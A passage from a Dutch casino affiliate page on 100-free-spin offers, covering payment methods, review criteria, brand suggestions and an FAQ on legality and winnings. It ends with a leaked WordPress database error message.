Bij Ksa-casino’s kun je vrijwel altijd storten met iDEAL, creditcard, bankoverschrijving, en vaak ook met e-wallets zoals Skrill of Neteller. Sinds 2021 is storten met creditcard bij Nederlandse casino’s aan banden gelegd, maar iDEAL is de dominante methode. Voor uitbetalingen geldt meestal dezelfde methode als je storting, en de snelheid varieert van direct tot drie werkdagen. Sommige casino’s verwerken uitbetalingen binnen 24 uur, anderen hebben een interne verwerkingstijd van 48 uur.

Gratis spins winst wordt na het rondspelen toegevoegd aan je echte saldo. Daarna kun je het opnemen, mits je aan alle voorwaarden hebt voldaan en je account volledig geverifieerd is. Verificatie kan extra tijd kosten, vooral als je documenten moet uploaden. Zorg dat je account al geverifieerd is voordat je begint te spelen; dan gaat het opnemen sneller. Veel klachten over casino’s gaan niet over fraude, maar over trage uitbetalingen door ontbrekende documenten.

Onderstaande tabel vat de gangbare betaalmethoden en hun kenmerken samen. Let op: de snelheden zijn indicatief en kunnen per casino verschillen.

Betaalmethode Storten Uitbetalen Bijzonderheid
iDEAL Direct Vaak niet mogelijk Alleen voor storten bij Nederlandse banken
Bankoverschrijving 1-2 werkdagen 1-3 werkdagen Traag maar betrouwbaar
Creditcard Direct Meestal niet Vaak uitgesloten door Ksa-regels
Skrill Direct Binnen 24 uur Snelle e-wallet, soms kosten
Neteller Direct Binnen 24 uur Vergelijkbaar met Skrill
Apple Pay Direct Niet mogelijk Alleen storten via mobiel
Paysafecard Direct Niet mogelijk Prepaid, uitbetalen via bank

Bij gratis spins met winst is het verstandig om te kiezen voor een casino met snelle uitbetaling en lage minimale opname. Controleer of er kosten verbonden zijn aan opnames. Sommige casino’s rekenen administratiekosten bij kleine bedragen, wat je winst verder uitholt.

Hoe wij casino’s met 100 gratis spins beoordelen: methodologie

Onze beoordeling van online casino’s met 100 gratis spins is gebaseerd op een vast stramien. We kijken eerst naar de Ksa-vergunning en de reputatie van het merk. Daarna beoordelen we de bonusvoorwaarden: inzetvereiste, maximale winst, geldigheid, en of de spins aan een storting zijn gekoppeld. Vervolgens testen we het claimproces: is het duidelijk hoe je de spins activeert? En tot slot kijken we naar uitbetalingssnelheid, klantenservice, en het spelaanbod.

Online casino 50 gratis spins zonder storting: welke aanbieding is echt bruikbaar?

Belangrijke criteria op een rij:

  • Vergunning en veiligheid: alleen Ksa-casino’s komen in aanmerking.
  • Bonusvoorwaarden: lage inzetvereisten en transparante regels scoren hoger.
  • Uitbetalingssnelheid: binnen 24 uur is ideaal; meer dan 72 uur kost punten.
  • Gebruiksgemak: claimproces zonder gedoe, duidelijke bonuscode uitleg.
  • Spelaanbod: slots met hoge RTP en bekende titels.
  • Klantenservice: Nederlandstalig en goed bereikbaar.

We wegen deze factoren mee in de top 10 van vorige sectie. Geen enkel casino scoort perfect; het is altijd een afweging tussen bonusvrijgevigheid en betrouwbaarheid. Wie alleen op het getal ‘100’ let, speelt het spel van de marketeer. Wie op de voorwaarden let, speelt het spel van de speler.

Welk casino met 100 gratis spins is het beste voor mij?

Het beste casino hangt af van je prioriteit. Wil je snelle uitbetalingen, kies dan een merk als BetCity of Unibet dat binnen 24 uur betaalt. Wil je een groot spelaanbod, overweeg dan LeoVegas of Circus. Geef je om lage inzetvereisten, zoek dan expliciet naar aanbiedingen zonder wagering, ook al zijn die zeldzaam. Lees bij elk casino de actuele bonusvoorwaarden en test de klantenservice met een vraag. Jouw beste casino is het casino dat past bij jouw speelgedrag, niet bij de hoogste banner.

Veelgestelde vragen over 100 gratis spins zonder storting

Hieronder beantwoorden we enkele vragen die spelers vaak stellen over gratis spins zonder storting. De antwoorden zijn kort en direct, bedoeld voor wie snel een feit wil checken.

Zijn 100 gratis spins zonder storting legaal in Nederland?

Ja, gratis spins zonder storting zijn legaal in Nederland als het casino een Ksa-vergunning heeft. Illegale casino’s mogen dergelijke bonussen niet aanbieden aan Nederlandse spelers. Een legaal casino koppelt de spins aan duidelijke bonusvoorwaarden en controleert je leeftijd en identiteit. Speel je bij een illegaal casino, dan is de bonus misschien groter, maar je hebt geen bescherming bij problemen met uitbetaling. Controleer dus altijd de witte lijst van de Ksa.

Hoe vaak kan ik 100 gratis spins zonder storting claimen?

Meestal één keer per casino, omdat het een welkomstaanbod is voor nieuwe spelers. Je kunt echter bij meerdere verschillende casino’s een account aanmaken en daar de gratis spins claimen, mits je voldoet aan de voorwaarden. Let op: je mag niet meerdere accounts bij hetzelfde casino aanmaken; dat is fraude en leidt tot uitsluiting. Bestaande spelers krijgen soms ook gratis spins via promoties, maar die zijn niet gegarandeerd.

Kan ik echt geld winnen met 100 gratis spins zonder storting?

Ja, het is mogelijk om met gratis spins echt geld te winnen, maar de kans is klein en de winst is vaak gemaximeerd. Je moet voldoen aan de inzetvereisten en andere bonusvoorwaarden voordat je kunt uitbetalen. Veel spelers winnen een paar euro en raken die vervolgens kwijt tijdens het rondspelen. Beschouw gratis spins als een kans om een casino te testen, niet als een inkomstenbron. De verwachte waarde is over het algemeen lager dan de marketing doet vermoeden.

WordPress databasefout: [UPDATE command denied to user 'wijwon_wijwonlword07f7'@'127.0.0.1' for table 'wp_options']
UPDATE `wp_options` SET `option_value` = '1790039665', `autoload` = 'off' WHERE `option_name` = 'sc_js_printed_ts'